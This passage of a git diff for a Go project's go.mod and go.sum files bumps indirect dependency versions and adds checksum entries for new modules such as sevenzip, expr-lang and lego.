|
||||
github.com/bodgit/windows v1.0.1 // indirect
|
||||
github.com/boj/redistore v1.4.2 // indirect
|
||||
github.com/bytedance/gopkg v0.1.4 // indirect
|
||||
github.com/bytedance/sonic v1.15.2 // indirect
|
||||
github.com/bytedance/sonic/loader v0.5.2 // indirect
|
||||
github.com/cenkalti/backoff/v5 v5.0.3 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/cloudwego/base64x v0.1.7 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/felixge/httpsnoop v1.1.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.9.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.10.1 // indirect
|
||||
github.com/gabriel-vasile/mimetype v1.4.15 // indirect
|
||||
github.com/gin-contrib/sse v1.1.1 // indirect
|
||||
github.com/glebarez/go-sqlite v1.21.2 // indirect
|
||||
github.com/glebarez/go-sqlite v1.23.0 // indirect
|
||||
github.com/go-faster/city v1.0.1 // indirect
|
||||
github.com/go-faster/errors v0.7.1 // indirect
|
||||
github.com/go-faster/errors v0.8.0 // indirect
|
||||
github.com/go-logr/logr v1.4.4 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-openapi/jsonpointer v0.22.1 // indirect
|
||||
github.com/go-openapi/jsonreference v0.21.2 // indirect
|
||||
github.com/go-openapi/spec v0.22.0 // indirect
|
||||
github.com/go-openapi/swag/conv v0.25.1 // indirect
|
||||
github.com/go-openapi/swag/jsonname v0.25.1 // indirect
|
||||
github.com/go-openapi/swag/jsonutils v0.25.1 // indirect
|
||||
github.com/go-openapi/swag/loading v0.25.1 // indirect
|
||||
github.com/go-openapi/swag/stringutils v0.25.1 // indirect
|
||||
github.com/go-openapi/swag/typeutils v0.25.1 // indirect
|
||||
github.com/go-openapi/swag/yamlutils v0.25.1 // indirect
|
||||
github.com/go-openapi/jsonpointer v1.0.0 // indirect
|
||||
github.com/go-openapi/jsonreference v1.0.0 // indirect
|
||||
github.com/go-openapi/spec v0.22.9 // indirect
|
||||
github.com/go-openapi/swag/conv v0.28.0 // indirect
|
||||
github.com/go-openapi/swag/jsonutils v0.28.0 // indirect
|
||||
github.com/go-openapi/swag/loading v0.28.0 // indirect
|
||||
github.com/go-openapi/swag/pools v0.28.0 // indirect
|
||||
github.com/go-openapi/swag/stringutils v0.28.0 // indirect
|
||||
github.com/go-openapi/swag/typeutils v0.28.0 // indirect
|
||||
github.com/go-openapi/swag/yamlutils v0.28.0 // indirect
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
github.com/go-playground/universal-translator v0.18.1 // indirect
|
||||
github.com/go-playground/validator/v10 v10.30.3 // indirect
|
||||
github.com/go-resty/resty/v2 v2.6.0 // indirect
|
||||
github.com/go-resty/resty/v2 v2.17.2 // indirect
|
||||
github.com/go-sql-driver/mysql v1.10.0 // indirect
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
||||
github.com/go-viper/mapstructure/v2 v2.5.0 // indirect
|
||||
github.com/goccy/go-json v0.10.6 // indirect
|
||||
github.com/goccy/go-yaml v1.19.2 // indirect
|
||||
github.com/gomodule/redigo v1.9.3 // indirect
|
||||
github.com/google/btree v1.0.0 // indirect
|
||||
github.com/google/btree v1.1.3 // indirect
|
||||
github.com/gorilla/context v1.1.2 // indirect
|
||||
github.com/gorilla/securecookie v1.1.2 // indirect
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 // indirect
|
||||
github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0 // indirect
|
||||
github.com/hashicorp/go-version v1.9.0 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
|
||||
@@ -128,19 +139,20 @@ require (
|
||||
github.com/jackc/puddle/v2 v2.2.2 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/json-iterator/go v1.1.12 // indirect
|
||||
github.com/klauspost/compress v1.19.1 // indirect
|
||||
github.com/json-iterator/go v1.1.13-0.20220915233716-71ac16282d12 // indirect
|
||||
github.com/klauspost/compress v1.19.2 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.4.0 // indirect
|
||||
github.com/leodido/go-urn v1.5.0 // indirect
|
||||
github.com/mattn/go-isatty v0.0.24 // indirect
|
||||
github.com/mattn/go-sqlite3 v1.14.22 // indirect
|
||||
github.com/mfridman/interpolate v0.0.2 // indirect
|
||||
github.com/miekg/dns v1.1.72 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect
|
||||
github.com/ncruces/go-strftime v1.0.0 // indirect
|
||||
github.com/paulmach/orb v0.13.0 // indirect
|
||||
github.com/pelletier/go-toml/v2 v2.4.3 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.27 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.28 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
|
||||
github.com/quic-go/qpack v0.6.0 // indirect
|
||||
github.com/quic-go/quic-go v0.61.0 // indirect
|
||||
@@ -152,37 +164,39 @@ require (
|
||||
github.com/spf13/afero v1.15.0 // indirect
|
||||
github.com/spf13/cast v1.10.0 // indirect
|
||||
github.com/spf13/pflag v1.0.10 // indirect
|
||||
github.com/stangelandcl/ppmd v0.1.1 // indirect
|
||||
github.com/subosito/gotenv v1.6.0 // indirect
|
||||
github.com/tidwall/gjson v1.9.3 // indirect
|
||||
github.com/tidwall/match v1.1.1 // indirect
|
||||
github.com/tidwall/pretty v1.2.0 // indirect
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
|
||||
github.com/ugorji/go/codec v1.3.1 // indirect
|
||||
github.com/ugorji/go/codec v1.3.2 // indirect
|
||||
github.com/uptrace/opentelemetry-go-extra/otelutil v0.3.2 // indirect
|
||||
github.com/yuin/gopher-lua v1.1.1 // indirect
|
||||
go.mongodb.org/mongo-driver/v2 v2.8.0 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.2.1 // indirect
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.45.0 // indirect
|
||||
go.opentelemetry.io/otel/log v0.12.2 // indirect
|
||||
go.opentelemetry.io/otel/log v0.6.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.45.0 // indirect
|
||||
go.opentelemetry.io/proto/otlp v1.11.0 // indirect
|
||||
go.uber.org/atomic v1.11.0 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.4 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||
go4.org v0.0.0-20260112195520-a5071408f32f // indirect
|
||||
golang.org/x/arch v0.29.0 // indirect
|
||||
golang.org/x/net v0.57.0 // indirect
|
||||
golang.org/x/sys v0.47.0 // indirect
|
||||
golang.org/x/text v0.40.0 // indirect
|
||||
golang.org/x/time v0.14.0 // indirect
|
||||
golang.org/x/tools v0.47.0 // indirect
|
||||
golang.org/x/time v0.15.0 // indirect
|
||||
golang.org/x/tools v0.48.0 // indirect
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20260803160001-6ac0973c030d // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20260803160001-6ac0973c030d // indirect
|
||||
google.golang.org/grpc v1.83.0 // indirect
|
||||
google.golang.org/protobuf v1.36.11 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
gorm.io/driver/mysql v1.6.0 // indirect
|
||||
modernc.org/libc v1.74.3 // indirect
|
||||
modernc.org/libc v1.74.4 // indirect
|
||||
modernc.org/mathutil v1.7.1 // indirect
|
||||
modernc.org/memory v1.11.0 // indirect
|
||||
modernc.org/sqlite v1.54.0 // indirect
|
||||
modernc.org/sqlite v1.56.0 // indirect
|
||||
)
|
||||
|
||||
exclude github.com/gomodule/redigo v2.0.0+incompatible
|
||||
|
||||
+99
-64
@@ -124,8 +124,14 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/boj/redistore v1.4.1 h1:lP9ZZWqKMq2RIqexlZX1w1ODSnegL+puxGIujkU5tIw=
|
||||
github.com/boj/redistore v1.4.1/go.mod h1:c0Tvw6aMjslog4jHIAcNv6EtJM849YoOAhMY7JBbWpI=
|
||||
github.com/bodgit/plumbing v1.3.0 h1:pf9Itz1JOQgn7vEOE7v7nlEfBykYqvUYioC61TwWCFU=
|
||||
github.com/bodgit/plumbing v1.3.0/go.mod h1:JOTb4XiRu5xfnmdnDJo6GmSbSbtSyufrsyZFByMtKEs=
|
||||
github.com/bodgit/sevenzip v1.6.5 h1:7H7BxgmeX0j6UX42lH+KXQ92WgMQJ49DoocFdfHbCng=
|
||||
github.com/bodgit/sevenzip v1.6.5/go.mod h1:GhuB6Lq1xCpP1sps+horjZ8lgiKPJcy2zUX3prla9wc=
|
||||
github.com/bodgit/windows v1.0.1 h1:tF7K6KOluPYygXa3Z2594zxlkbKPAOvqr97etrGNIz4=
|
||||
github.com/bodgit/windows v1.0.1/go.mod h1:a6JLwrB4KrTR5hBpp8FI9/9W9jJfeQ2h4XDXU74ZCdM=
|
||||
github.com/boj/redistore v1.4.2 h1:44FVJnBTdzDV9VpaByCOaQs0ND8hzABD2xBHcAIbX9s=
|
||||
github.com/boj/redistore v1.4.2/go.mod h1:jjh65GXAH+5lj29pPRnQHdRNOt/lmP0LOaK+fiG2Fu8=
|
||||
github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs=
|
||||
github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c=
|
||||
github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA=
|
||||
@@ -171,10 +177,15 @@ github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSV
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
|
||||
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/deepteams/webp v1.2.7 h1:Oj3iXbZ0U4siY1KHFTF5T21uysZkmor8pT4E38mNK2o=
|
||||
github.com/deepteams/webp v1.2.7/go.mod h1:J8Ap+HAixxpKKRN9IpEeSKlfvhsef1v43jKTO7m3f4c=
|
||||
github.com/dgraph-io/ristretto/v2 v2.4.2 h1:x0cvjmUKxt764Yxdk2nr94we1AvPPAMh1rh5TQ+Jo80=
|
||||
github.com/dgraph-io/ristretto/v2 v2.4.2/go.mod h1:0KsrXtXvnv0EqnzyowllbVJB8yBonswa2lTCK2gGo9E=
|
||||
github.com/dgryski/go-farm v0.0.0-20240924180020-3414d57e47da h1:aIftn67I1fkbMa512G+w+Pxci9hJPB8oMnkcP3iZF38=
|
||||
github.com/dgryski/go-farm v0.0.0-20240924180020-3414d57e47da/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
|
||||
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
@@ -189,6 +200,8 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.m
|
||||
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
|
||||
github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/expr-lang/expr v1.17.8 h1:W1loDTT+0PQf5YteHSTpju2qfUfNoBt4yw9+wOEU9VM=
|
||||
github.com/expr-lang/expr v1.17.8/go.mod h1:8/vRC7+7HBzESEqt5kKpYXxrxkr31SaO8r40VO/1IT4=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
|
||||
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
@@ -201,8 +214,8 @@ github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7z
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
|
||||
github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU=
|
||||
github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
|
||||
github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
|
||||
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
|
||||
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
|
||||
github.com/gabriel-vasile/mimetype v1.4.15 h1:05iP/CYtZ/w455R/KZM6rZ5ieAdh99UPtd+d3YzLmaI=
|
||||
github.com/gabriel-vasile/mimetype v1.4.15/go.mod h1:azpTcoLcDZRNgFou5j+APrqQx9HqVPWa6ijYQIIVswQ=
|
||||
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
|
||||
@@ -214,14 +227,16 @@ github.com/gin-contrib/sse v1.1.1 h1:uGYpNwTacv5R68bSGMapo62iLTRa9l5zxGCps4hK6ko
|
||||
github.com/gin-contrib/sse v1.1.1/go.mod h1:QXzuVkA0YO7o/gun03UI1Q+FTI8ZV/n5t03kIQAI89s=
|
||||
github.com/gin-gonic/gin v1.12.0 h1:b3YAbrZtnf8N//yjKeU2+MQsh2mY5htkZidOM7O0wG8=
|
||||
github.com/gin-gonic/gin v1.12.0/go.mod h1:VxccKfsSllpKshkBWgVgRniFFAzFb9csfngsqANjnLc=
|
||||
github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo=
|
||||
github.com/glebarez/go-sqlite v1.21.2/go.mod h1:sfxdZyhQjTM2Wry3gVYWaW072Ri1WMdWJi0k6+3382k=
|
||||
github.com/glebarez/go-sqlite v1.23.0 h1:FyhIq4jqmgphQAUlY79zPldYGwISEZikaDfhiGWkkaI=
|
||||
github.com/glebarez/go-sqlite v1.23.0/go.mod h1:IIYrOH3L0rHY3jb4IXOHoWdklNajSGUN2eJcvK8WrnI=
|
||||
github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw=
|
||||
github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ=
|
||||
github.com/go-acme/lego/v4 v4.35.2 h1:uVQg+KC/yj9R2g7Q9W5wDqhvQvxV5SMu5eqFVoN5xZU=
|
||||
github.com/go-acme/lego/v4 v4.35.2/go.mod h1:pX2jN5n8OphMGY1IaMjYm5DAEzguBaKRt8AvJAgJXpc=
|
||||
github.com/go-faster/city v1.0.1 h1:4WAxSZ3V2Ws4QRDrscLEDcibJY8uf41H6AhXDrNDcGw=
|
||||
github.com/go-faster/city v1.0.1/go.mod h1:jKcUJId49qdW3L1qKHH/3wPeUstCVpVSXTM6vO3VcTw=
|
||||
github.com/go-faster/errors v0.7.1 h1:MkJTnDoEdi9pDabt1dpWf7AA8/BaSYZqibYyhZ20AYg=
|
||||
github.com/go-faster/errors v0.7.1/go.mod h1:5ySTjWFiphBs07IKuiL69nxdfd5+fzh1u7FPGZP2quo=
|
||||
github.com/go-faster/errors v0.8.0 h1:9T9eJrM+72dFk7n4DfhuaDDe6cyuFCSW2oNUkN77Yqc=
|
||||
github.com/go-faster/errors v0.8.0/go.mod h1:5ySTjWFiphBs07IKuiL69nxdfd5+fzh1u7FPGZP2quo=
|
||||
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
|
||||
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
|
||||
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
|
||||
@@ -238,29 +253,33 @@ github.com/go-logr/logr v1.4.4 h1:tG4xh9yMsRCAiodLVTxyrkzSZ9+o0L1Kg/+cPVcbP/8=
|
||||
github.com/go-logr/logr v1.4.4/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-openapi/jsonpointer v0.22.1 h1:sHYI1He3b9NqJ4wXLoJDKmUmHkWy/L7rtEo92JUxBNk=
|
||||
github.com/go-openapi/jsonpointer v0.22.1/go.mod h1:pQT9OsLkfz1yWoMgYFy4x3U5GY5nUlsOn1qSBH5MkCM=
|
||||
github.com/go-openapi/jsonreference v0.21.2 h1:Wxjda4M/BBQllegefXrY/9aq1fxBA8sI5M/lFU6tSWU=
|
||||
github.com/go-openapi/jsonreference v0.21.2/go.mod h1:pp3PEjIsJ9CZDGCNOyXIQxsNuroxm8FAJ/+quA0yKzQ=
|
||||
github.com/go-openapi/spec v0.22.0 h1:xT/EsX4frL3U09QviRIZXvkh80yibxQmtoEvyqug0Tw=
|
||||
github.com/go-openapi/spec v0.22.0/go.mod h1:K0FhKxkez8YNS94XzF8YKEMULbFrRw4m15i2YUht4L0=
|
||||
github.com/go-openapi/swag v0.19.15 h1:D2NRCBzS9/pEY3gP9Nl8aDqGUcPFrwG2p+CNFrLyrCM=
|
||||
github.com/go-openapi/swag/conv v0.25.1 h1:+9o8YUg6QuqqBM5X6rYL/p1dpWeZRhoIt9x7CCP+he0=
|
||||
github.com/go-openapi/swag/conv v0.25.1/go.mod h1:Z1mFEGPfyIKPu0806khI3zF+/EUXde+fdeksUl2NiDs=
|
||||
github.com/go-openapi/swag/jsonname v0.25.1 h1:Sgx+qbwa4ej6AomWC6pEfXrA6uP2RkaNjA9BR8a1RJU=
|
||||
github.com/go-openapi/swag/jsonname v0.25.1/go.mod h1:71Tekow6UOLBD3wS7XhdT98g5J5GR13NOTQ9/6Q11Zo=
|
||||
github.com/go-openapi/swag/jsonutils v0.25.1 h1:AihLHaD0brrkJoMqEZOBNzTLnk81Kg9cWr+SPtxtgl8=
|
||||
github.com/go-openapi/swag/jsonutils v0.25.1/go.mod h1:JpEkAjxQXpiaHmRO04N1zE4qbUEg3b7Udll7AMGTNOo=
|
||||
github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.1 h1:DSQGcdB6G0N9c/KhtpYc71PzzGEIc/fZ1no35x4/XBY=
|
||||
github.com/go-openapi/swag/jsonutils/fixtures_test v0.25.1/go.mod h1:kjmweouyPwRUEYMSrbAidoLMGeJ5p6zdHi9BgZiqmsg=
|
||||
github.com/go-openapi/swag/loading v0.25.1 h1:6OruqzjWoJyanZOim58iG2vj934TysYVptyaoXS24kw=
|
||||
github.com/go-openapi/swag/loading v0.25.1/go.mod h1:xoIe2EG32NOYYbqxvXgPzne989bWvSNoWoyQVWEZicc=
|
||||
github.com/go-openapi/swag/stringutils v0.25.1 h1:Xasqgjvk30eUe8VKdmyzKtjkVjeiXx1Iz0zDfMNpPbw=
|
||||
github.com/go-openapi/swag/stringutils v0.25.1/go.mod h1:JLdSAq5169HaiDUbTvArA2yQxmgn4D6h4A+4HqVvAYg=
|
||||
github.com/go-openapi/swag/typeutils v0.25.1 h1:rD/9HsEQieewNt6/k+JBwkxuAHktFtH3I3ysiFZqukA=
|
||||
github.com/go-openapi/swag/typeutils v0.25.1/go.mod h1:9McMC/oCdS4BKwk2shEB7x17P6HmMmA6dQRtAkSnNb8=
|
||||
github.com/go-openapi/swag/yamlutils v0.25.1 h1:mry5ez8joJwzvMbaTGLhw8pXUnhDK91oSJLDPF1bmGk=
|
||||
github.com/go-openapi/swag/yamlutils v0.25.1/go.mod h1:cm9ywbzncy3y6uPm/97ysW8+wZ09qsks+9RS8fLWKqg=
|
||||
github.com/go-openapi/jsonpointer v1.0.0 h1:kR9tHqY0CtZaOPVFm622dPVNhrvYpwr4uCxgL3h1H8s=
|
||||
github.com/go-openapi/jsonpointer v1.0.0/go.mod h1:Z3rw7dWu1p9IgitXCFamSlA5lmDiklEB6vkaxcNZW5Y=
|
||||
github.com/go-openapi/jsonreference v1.0.0 h1:jlmTr6torcd1YgDQvSfNmRtKzYDO4FGBkrAdlAVWnpY=
|
||||
github.com/go-openapi/jsonreference v1.0.0/go.mod h1:jtwdyGbJk0Xhe5Y+rwtglQP6Sb1WZST4rT32LWB+sv0=
|
||||
github.com/go-openapi/spec v0.22.9 h1:/vKIFDcGKp0ktZWGbym/tJEWbk6/XOEmAVU0kqKMH+w=
|
||||
github.com/go-openapi/spec v0.22.9/go.mod h1:b/mNUYIOQOyIiUzUzXEE8xzyZqf93KvM9hQGP91yfl0=
|
||||
github.com/go-openapi/swag v0.28.0 h1:xkgbOSKj6DZziNpyqRRAOt3GJGtgjgsd2RoyT30VWuw=
|
||||
github.com/go-openapi/swag/conv v0.28.0 h1:GtqqbyFe7vR5Y7ehxG9W6/OvrSFdf1OLeTGp40TqxH8=
|
||||
github.com/go-openapi/swag/conv v0.28.0/go.mod h1:mbUE+mzctnhxi864m0Q07SpN8OowD9JhxmxuYvZZD/k=
|
||||
github.com/go-openapi/swag/jsonutils v0.28.0 h1:YIch6FwO7RXzeAnbO8Tu7dWBZeUEH+4nA0HXltVTnv4=
|
||||
github.com/go-openapi/swag/jsonutils v0.28.0/go.mod h1:CYM3WlTUcagR2ZoHdz54di/cbBqt82tuxuXgAjxw+mg=
|
||||
github.com/go-openapi/swag/jsonutils/fixtures_test v0.28.0 h1:qV+VVUAx5Oro8WjVWpZeql7YReTKhT4smR4zhcOQZr0=
|
||||
github.com/go-openapi/swag/jsonutils/fixtures_test v0.28.0/go.mod h1:mofwUWx70wvskwESqRJ//k/9kURmCgyJl5m5Ppoh5kY=
|
||||
github.com/go-openapi/swag/loading v0.28.0 h1:td8QZdZC9MIYGGSnSPKShKiK22I2tU5UQvuUhIBPRLU=
|
||||
github.com/go-openapi/swag/loading v0.28.0/go.mod h1:rXB0QiQX5mMveXEA7ouM4KiiM9jVJe4K6BVbwhD1M4k=
|
||||
github.com/go-openapi/swag/pools v0.28.0 h1:HPMZWSAfce3rdVTFcjFiCIBtDg9h4x2QlRrHipwhxeU=
|
||||
github.com/go-openapi/swag/pools v0.28.0/go.mod h1:kVQefhSK5RWuRe7BXsL8htgBPAMpN7HDGpGEknqugeE=
|
||||
github.com/go-openapi/swag/stringutils v0.28.0 h1:ixsc9iYgDPubHL/8nSkbnryEHpD2VRlBMLKpQyPXcDU=
|
||||
github.com/go-openapi/swag/stringutils v0.28.0/go.mod h1:lzRN95CxXmA03XcDWHLOb6nOMcxCqR5rGY0lOgsfRoM=
|
||||
github.com/go-openapi/swag/typeutils v0.28.0 h1:nRBKSBXjDgf01VDPB3fWeD9nQuhCOVeIYAkUx2tbkyY=
|
||||
github.com/go-openapi/swag/typeutils v0.28.0/go.mod h1:Srm0xFNRZ1Y+vCxJclo5qzx8aj+1pAKda/YfFPrG0dQ=
|
||||
github.com/go-openapi/swag/yamlutils v0.28.0 h1:TV3JXH6DS46KUroDtMLAYHGkdWf5VDq3wVWFirmzROY=
|
||||
github.com/go-openapi/swag/yamlutils v0.28.0/go.mod h1:x0q/yndZHEgk9Rx3DyDqzFUmHy55KTvIZldvF2dTJXs=
|
||||
github.com/go-openapi/testify/enable/yaml/v2 v2.6.0 h1:gGHwAJ0R/5jU8BEGDbfRNR3hL68dAVi84WuOApp29B0=
|
||||
github.com/go-openapi/testify/enable/yaml/v2 v2.6.0/go.mod h1:tY+St1SGq4NFl0QIqdTY4aEdbChAHxhyB77XQi9iJCo=
|
||||
github.com/go-openapi/testify/v2 v2.6.0 h1:5PKH2HE7YJ/LuRPQGvSxBRlFXNQhSetBLlGAgUEu3ug=
|
||||
github.com/go-openapi/testify/v2 v2.6.0/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw=
|
||||
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
|
||||
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
@@ -274,14 +293,15 @@ github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn
|
||||
github.com/go-playground/validator/v10 v10.30.3 h1:4MU6YkEwx7GbcPJOZxrtbu+QfF3pJLJuaYTeAH0DYy8=
|
||||
github.com/go-playground/validator/v10 v10.30.3/go.mod h1:4Axh7oCNGcoGkqLoE4YWt6n20mcEIsPRlB7vPk3lpyc=
|
||||
github.com/go-redis/redis/v8 v8.11.4/go.mod h1:2Z2wHZXdQpCDXEGzqMockDpNyYvi2l4Pxt6RJr792+w=
|
||||
github.com/go-resty/resty/v2 v2.6.0 h1:joIR5PNLM2EFqqESUjCMGXrWmXNHEU9CEiK813oKYS4=
|
||||
github.com/go-resty/resty/v2 v2.6.0/go.mod h1:PwvJS6hvaPkjtjNg9ph+VrSD92bi5Zq73w/BIH7cC3Q=
|
||||
github.com/go-resty/resty/v2 v2.17.2 h1:FQW5oHYcIlkCNrMD2lloGScxcHJ0gkjshV3qcQAyHQk=
|
||||
